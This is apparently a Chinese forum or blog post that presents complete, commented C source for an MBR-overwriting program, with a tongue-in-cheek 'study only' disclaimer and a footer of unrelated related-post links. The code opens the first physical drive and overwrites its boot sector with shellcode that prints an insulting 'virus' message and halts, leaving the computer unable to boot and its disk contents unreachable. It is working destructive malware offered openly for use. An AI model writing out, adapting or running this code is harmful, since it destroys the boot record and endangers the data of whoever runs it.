mbr硬盘锁c语言源码,今日头一贴!修改MBR引导区,让你的电脑嗝屁!嗝屁!
运行之前 请三思 ,,,,记得做好备份,最好是在虚拟机中测试,(一定要在虚拟机中测试)
申明
该代码作为学习研究用处,至于拿这个代码去搞破坏以及恶搞造成的后果你自己承担,作者不承担任何责任,驿站不承担任何责任,不承担任何责任,所有想研究之前三思, 改代码有详细的注释,并且在W7以及XP中运行过XP以上的平台,请使用管理权限,运行之后你就面对疾风吧!
#include
#include
using namespace std;
unsigned char scode[]=
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x41\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int KillMbr()
{
HANDLE hDevice;//定义一个通用的句柄函数成员,在后面的CreateFile函数中用来接收我们打开(返回)的句柄
DWORD deBytesWrite,dwByteReturned;//该变量的左右在后面的 DeviceIoControl函数中用来接收返回的字节数,
BYTE pMbr[512]={0};//定义一个字节数组512并且初始化为0
memcpy(pMbr,scode,sizeof(scode));//C和C++的拷贝函数,1是缓冲区,2是拷贝的原目标,通俗的讲就是讲2拷贝进1,并且3是拷贝的大小
pMbr[510]=0x55;//设置引导区倒数第3个得值
pMbr[511]=0xAA;
hDevice=CreateFile("\\\\.\\PHYSICALDRIVE0",//打开本地计算机磁盘
GENERIC_WRITE|GENERIC_READ,//设置读取和写入的
FILE_SHARE_READ|FILE_SHARE_WRITE,//设置共享读和写
NULL,//指向SECURITY_ARRBIBUTES结构的指针
OPEN_EXISTING,//指向一个常数值
0,//指向一个或多个常数 通常设置为空
NULL
);
if (hDevice==INVALID_HANDLE_VALUE)//判断句柄返回值
{
return -1;
}
DeviceIoControl(//函数可直接发送控制代码到指定的设备驱动程序,使用相应的的设备执行相应的操作函数
hDevice,//设备句柄
FSCTL_LOCK_VOLUME,//锁定,该参数的原型是 CTL_CODE(FILE_DEVICE_FILE_SYSTEM,应用程序调用驱动程序的控制命令,就是IOCTL_XXX IOCTLS命令
NULL,//应用程序传递给驱动成宿的数据换乘区地址
0,//应用程序传递给驱动程序的缓冲区大小字节数
NULL,//驱动程序返回个应用程序的数据缓冲区地址
0,//驱动程序返回给应用程序的数据缓冲区大小字节
&dwByteReturned,//驱动程序实际返回给应用程序数据字节数地址
NULL//这个结构用于重叠结构针对同步操作
);
WriteFile(hDevice,//写入设备
pMbr,//写如的缓冲区
sizeof(pMbr),//大小缓冲区
&deBytesWrite,//用来接收返回 实际写入的字节数(也就是该成员变量中得值是我们写入的具体字节数或保存在里面)
NULL//假如指定了FILE_FLAG_OVERLAPPED的前提打开这个参数必须引用一个特殊结构,该结构定义了一次异步的写操作
//否则该参数一般Wie空
);
DeviceIoControl(//该函数和上一个一样 注释将不再写第二次
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwByteReturned,
NULL
);
CloseHandle(hDevice);//关闭一个通用句柄
ExitProcess(NULL);//退出进程
return 0;
}
int main()
{
KillMbr();//调用我们自定义的函数可以写成void (return 0;就不用写了) 但是我这里写成int 都可以的
return 0;//返回值 对应主函数的int
}
mbr硬盘锁c语言源码,今日头一贴!修改MBR引导区,让你的电脑嗝屁!嗝屁!相关推荐
- Go语言源码分析CAS的实现和Java如出一辙
看了Go的源码CAS这块实现和java还是类似的. 关于Java的分析参考:Java使用字节码和汇编语言同步分析volatile,synchronized的底层实现 都是使用汇编指令:LOCK+CMP ...
- Java中的锁大全(底层源码分析)
引用:https://tech.meituan.com/2018/11/15/java-lock.html 加锁过程:https://www.cnblogs.com/hkdpp/p/11917383. ...
- php连接硬件开锁,织梦开锁换锁网站php源码 dede大气机械设施网站织梦CMS梦模
★模板详情★ 织梦开锁换锁网站php源码 dede大气机械设施网站织梦CMS梦模,测试完整无错,兼容主流浏览器. 模板包含安装文档,并包含测试数据. [后端程序]搭载dedecms5.7内核 [运行环 ...
- golang中文文档_【译】Go 语言源码贡献官方指导文档
以前给 Go 语言项目源码提交过一些 commits,期间阅读他们的官方指导文档的时候觉得这篇指导文档可以作为绝佳的关于大型软件项目的规范管理的参考,因为最近又提交了几个 commits,就又把这篇文 ...
- 易语言php支付宝,支付宝填表登录易语言源码
支付宝填表登录易语言源码 @MS_晨星天宇.版本 2 .支持库 spec .支持库 HtmlView .程序集 窗口程序集_窗口1 .子程序 _按钮1_被单击 调试输出 (开始登录 (超文本浏览框1, ...
- 技术宅的乐趣!网友编写出《流浪地球》“春节十二响”C语言源码
[TechWeb]随着春节档科幻电影<流浪地球>的火爆,越来越多的网友对这部电影产生了浓厚的兴趣.电影中"春节十二响"的桥段相信会让每一个看过电影的观众记忆犹新. 近日 ...
- m3u8切片程序PHP视频切片软件转码系统易语言源码 云转码工具源码
前端为易语言源码(含模块),后端为php源码[代码全开源 无加密]方便各种二开! 1.切片自动上传至你的服务器(m3u8链接) 2.切片完成后提示音 3.切片完成后(在软件上会自动显示地址) 4.批量 ...
- 易语言源码 VX多开 思路+源码
介绍: 易语言源码 VX多开 思路+源码 网盘下载地址: http://kekewangLuo.cc/aOqsvkyTX0g 图片:
- C51单片机与PCF8591模块的交互:C语言源码解析
目录 1. PCF8591模块简介 2. C51单片机与PCF8591的连接 3. C51单片机与PCF8591的C语言源码解析 4. 用法示例 5. 总结 6. 参考文献 在微控制器的世界中,C51 ...
- 【安全算法之SHA1】SHA1摘要运算的C语言源码实现
[安全算法之SHA1]SHA1摘要运算的C语言源码实现 概述 头文件定义 C语言版本的实现源码 测试用例 github仓库 更多参考链接 概述 大家都知道摘要算法在安全领域,也是一个特别重要的存在,而 ...
最新文章
- 容量法和库仑法的异同点_【图文专辑】第十讲:容量法高锰酸盐指数的测定
- codeforces 954C
- 用Xlib库进行基本图形编程
- 九度OJ 1019:简单计算器 (基础题、DP)
- vmware下linux虚拟机传文件解决方案之 xftp
- caffe caffe.cpp 程序入口分析
- Windows远程连接的用户名和密码怎么设置?
- 贪心算法求解TSP问题(python)
- DAG最长路问题 hdu-1224
- CCF	2014-3-2 窗口
- CGO磁盘管理For流星无语
- NB朴素贝叶斯理论推导与三种常见模型
- 常用RAID类型以及它们的区别
- CS224n自然语言处理(二)——语言模型、机器翻译和CNN
- 彻底安装oracle数据库,安装 Oracle 数据库软件
- 鲜为人知的合作:锐捷和juniper、联想和三茗
- 嵌入式Linux开发的前世与今生——基本概述
- 知识图谱构建流程详解
- 【历史上的今天】3 月 7 日:首条海底光缆开通;VeriSign 收购 Network Solutions;计算机图形学先驱诞生
- arm服务器芯片尺寸,华为公开ARM服务器芯片“Hi1620”:7nm+64核心